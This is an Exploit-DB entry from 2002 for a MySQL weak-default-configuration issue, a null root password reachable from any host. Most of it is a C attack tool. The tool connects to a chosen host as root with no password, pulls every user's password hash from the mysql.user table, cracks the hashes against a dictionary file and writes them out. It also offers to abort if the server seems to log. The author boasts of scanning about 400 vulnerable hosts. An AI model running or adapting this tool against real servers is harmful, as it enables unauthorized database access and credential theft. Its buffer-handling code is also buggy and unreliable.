MySQL 3.20.32/3.22.x/3.23.x - Null Root Password Weak Default Configuration (1)

EDB-ID:

21725


Author:

g0thm0g

Type:

remote


Platform:

Linux

Date:

2002-08-19


/*
source: https://www.securityfocus.com/bid/5503/info

MySQL is is an open source relational database project, and is available for a number of operating systems, including Microsoft Windows.

A weak default configuration problem has been reported in the Windows binary release of MySQL. Reportedly, the root user of the database is defined with no password, and granted login privileges from any host.

This issue has been reported in the Windows binary release of MySQL. Other versions may share this default configuration, this has not however been confirmed.
*/

//mysqlfuck.c
/*--||MySQLfuck||--*/
/*Written by g0thm0g*/
/*-----------------*/
/*Earlier this summer (at least where I live), I had a
conversation with a friend.
It was one of those afternoons where you get an idea,
and it kinda sticks with you.
Anyway, our conversation involved a couple questions
about INSERT's into a MySQL
database.  Eventually, I told him that I would do it
for him.  I came over, sat down
on his computer, and accidentally typed his full IP
address in.  TO my surprise, the
host still connected.  Even worse, root login wasn't
passworded.  I figured that he
had mysql bound to 127.0.0.1, and that no real remote
host could connect.  However,
later that night after I had gone home, I got a phone
call from the friend asking me
to do it again.  Already on the computer (go figure
d:), I pulled up bash and
typed in his IP.  Right as I was about to ask him what
his password was, I noticed
that MySQL hadn't even bothered to authenticate me.  I
"used mysql" and then SELECT'ed
user,password,host FROM user.  To my horror, I recieved:
		 		 		 		 		 		 +------+----------+-----------+
		 		 		 		 		 		 | user | password | host      |
		 		 		 		 		 		 +------+----------+-----------+
		 		 		 		 		 		 | root |          | localhost |
		 		 		 		 		 		 | root |          | %         |
		 		 		 		 		 		 |      |          | localhost |
		 		 		 		 		 		 |      |          | %         |
		 		 		 		 		 		 +------+----------+-----------+
		 Not only was name-less login allowed, but root was
without password on localhost
and remote.  Anyway, to make a long story short, I did
some research, and found that
default Windows MySQL configuration lacks logging or
authentication.  I did some
network scanning, and I think I have around 400 hosts
with no root password.  Anyway,
to automate checking this, I wrote this program up.  It
tries to login as root/NULL,
then takes the values of the user password hashes and
tries to find a match to a
dictionary file called dictionary.txt.

I wrote up an advisory, which you'll probably see on
SecFoc soon.

If I had some cookies, I'd give them to:
		 -Tiefer and his relentless questioning and jokes about
my sister
		 -Club 21, especially for Hard Attack
		 -DJ Doboy, can't forget trancequility volume 19

(INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE"
CLAUSE HERE)
(INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)

Compile:
		 -MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
		 -GCC=  gcc -omysqlfuck mysqlfuck.c -lmySQL -O2

		 -Cheers
		 		 g0th
*/


#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

#ifndef ulong
#define ulong unsigned long
#endif

#ifndef uint
#define uint unsigned int
#endif

#ifndef uchar
#define uchar unsigned char
#endif

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

/*--------------------------------------------------------------*/
/*<<<<This section is ripped straight from the MySQL
source.>>>>*/
/*I have this all nice and optimized in assembly on my
end, but*/
/*writing cross-compiler inline is not too fun, and
requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
  register ulong nr=1345345333L, add=7, nr2=0x12345671L;
  ulong tmp;
  for (; *password ; password++)
  {
    if (*password == ' ' || *password == '\t')
      continue;		 		 		 /* skipp space in password */

    tmp= (ulong) (uchar) *password;
    nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
    nr2+=(nr2 << 8) ^ nr;
    add+=tmp;
  }

  result[0]=nr & 2147483647; /* Don't use sign bit
(str2int) */;
  result[1]=nr2 & 2147483647;
  return;
}

void make_scrambled_password(char *to,const char *password)
{
  ulong hash_res[2];
  hash_password(hash_res,password);
  sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<<<######################################################>>>>*/
/*--------------------------------------------------------------*/


/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/


/*--------------------------------*/
/*<<<user struct to store data>>>>*/
/*--------------------------------*/
typedef struct
{
		 char *user;
		 char *password;
} user;

#define		 MAX_USERS		 16
/*--------------------------------*/
/*<<<<########################>>>>*/
/*--------------------------------*/



//main - for "coherency's" (yes, i mean laziness) sake,
i've kept this a single function
int
		 main
		 (
		 		 int argc,
		 		 char** argv
		 )
		 {

		 		 MYSQL * mysqlData;		 		 		 //--|-
		 		 MYSQL_RES * mysqlResult;		 //--|-MySQL Datatypes
		 		 MYSQL_ROW mysqlRow;		 		 		 //--|-

		 		 char *spHost;		 		 		 		 //--|
		 		 char *spUser="root";		 		 		 //--|
		 		 char *spPassword=NULL;		 		 //--|-Our connection data
		 		 int spPort=3306;		 		 		 //--|
		 		 char *spServerVersion;		 		 //--|

		 		 int usernum=0;		 		 		 		 //--|
		 		 user *users[MAX_USERS];		 		 //--|-User name/hash storage
data

		 		 FILE *fin, *fout;		 		 		 //--|
		 		 char *file_name;		 		 		 //--|-File I/O data

		 		 char *line=(char *)malloc(64);		 //--|
		 		 char *buff=(char *)malloc(64);		 //--|-Miscellaneous
buffers

		 		 int i=0;		 		 		 		 		 //--|Counter


		 		 //Warn about not meeting minimal arguments
		 		 if (2>argc)
		 		 {
		 		 		 fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
		 		 		 return -1;
		 		 }

		 		 //Copy the first argument into the host buffer
		 		 spHost=(char *)malloc(sizeof(argv[1]));
		 		 strcpy (spHost, argv[1]);

		 		 //Copy port if the user specified
		 		 if (argv[2])
		 		 {
		 		 		 if (argv[2][1]=='p')
		 		 		 {
		 		 		 		 ++argv[2];
		 		 		 		 ++argv[2];
		 		 		 		 spPort=atoi(argv[2]);
		 		 		 		 printf ("port: %i\n", spPort);
		 		 		 }
		 		 }

		 		 //Initialize MySQL data and connect with root/NULL

		 		 mysqlData = (MYSQL *)malloc(sizeof(MYSQL));

		 		 mysql_init (mysqlData);

		 		 if (! mysql_real_connect (mysqlData, spHost, spUser,
spPassword, "mysql", spPort, NULL, 0) )
		 		 {
		 		 		 fprintf (stderr, "mysql_real_connect: %s\n",
mysql_error (mysqlData));
		 		 		 return -1;
		 		 }

		 		 //If the server logs, inform the user!

		 		 printf ("server version: %s\n",
mysql_get_server_info(mysqlData));

		 		 if (strstr (mysql_get_server_info (mysqlData), "log"))
		 		 {
		 		 		 printf ("Warning!  Server is logging - Continue(*/n)?");
		 		 		 if (getchar()=='n')
		 		 		 {
		 		 		 		 mysql_close (mysqlData);
		 		 		 		 return -1;
		 		 		 }
		 		 }

		 		 //"Obtain" the hashes (notice i didn't use the word
steal)

		 		 if ( mysql_query (mysqlData, "SELECT user,password
FROM user") )
		 		 {
		 		 		 fprintf (stderr, "mysql_query: %s\n", mysql_error
(mysqlData));
		 		 		 return -1;
		 		 }

		 		 //Store the result and process it

		 		 mysqlResult=mysql_store_result(mysqlData);
		 		 while (mysqlRow=mysql_fetch_row(mysqlResult))
		 		 {
		 		 		 if (strlen(mysqlRow[0])==0)
		 		 		 {
		 		 		 		 mysqlRow[0]="(NULL)";
		 		 		 }

		 		 		 if (strlen(mysqlRow[1])==0)
		 		 		 {
		 		 		 		 mysqlRow[1]="(NULL)";
		 		 		 }


		 		 		 users[usernum]=(user *)malloc(sizeof(user));
		 		 		 users[usernum]->user=(char
*)malloc(strlen(mysqlRow[0])+1);
		 		 		 strcpy (users[usernum]->user, mysqlRow[0]);
		 		 		 users[usernum]->password=(char
*)malloc(strlen(mysqlRow[1])+1);
		 		 		 strcpy (users[usernum]->password, mysqlRow[1]);
		 		 		 usernum++;
		 		 }

		 		 mysql_close (mysqlData);

		 		 //Setup putput file name string

		 		 file_name=(char *)malloc (sizeof(spHost)+4);
		 		 strcpy (file_name, spHost);
		 		 strcat (file_name, ".txt\0\0");
		 		 printf ("\n+----------------------------+\n");
		 		 printf ("<decrypting and dumping to %s>\n", file_name);
		 		 printf ("+----------------------------+\n");


		 		 fout=fopen (spHost, "w");

		 		 if (!fout)
		 		 {
		 		 		 fprintf (stderr, "Unable to open %s for password
dumping\n", spHost);
		 		 		 return -1;
		 		 }


		 		 //Use a database to crack the hashes (optional)
		 		 fin=fopen ("dictionary.txt", "r");
		 		 if (!fin)
		 		 {
		 		 		 fprintf (stderr, "error opening dictionary.txt - no
decryption will take place\n");

		 		 		 for (i=0;i<usernum;i++)
		 		 		 {
		 		 		 		 printf ("%s::%s\n", users[i]->user,
users[i]->password);
		 		 		 }

		 		 		 return -1;
		 		 }

		 		 //Loop through the user array and crack/output hashes
		 		 for (i=0;i<usernum;i++)
		 		 {
		 		 		 if (users[i]->user)
		 		 		 {
		 		 		 		 if (users[i]->password)
		 		 		 		 {

		 		 		 		 		 while ( (fgets (line, 63, fin)))
		 		 		 		 		 {
		 		 		 		 		 		 line[strlen(line)-1]='\0';
		 		 		 		 		 		 make_scrambled_password (buff, line);
		 		 		 		 		 		 if (strcmp (buff, users[i]->password)==0)
		 		 		 		 		 		 {
		 		 		 		 		 		 		 users[i]->password=line;
		 		 		 		 		 		 		 break;
		 		 		 		 		 		 }
		 		 		 		 		 }

		 		 		 		 		 fclose (fin);

		 		 		 		 		 fprintf (fout, "%s::%s\n", users[i]->user,
users[i]->password);
		 		 		 		 		 printf ("%s::%s\n", users[i]->user,
users[i]->password);
		 		 		 		 		 fflush (fout);
		 		 		 		 }
		 		 		 }
		 		 }

		 		 //Always clean up after yourself!

		 		 fclose (fout);

		 		 if (buff)
		 		 		 free (buff);

		 		 if (line)
		 		 		 free (line);

		 		 if (spHost)
		 		 		 free (spHost);

		 		 if (users)
		 		 		 free (users);

		 		 if (file_name)
		 		 		 free (file_name);

		 		 if (mysqlData)
		 		 		 free (mysqlData);

		 }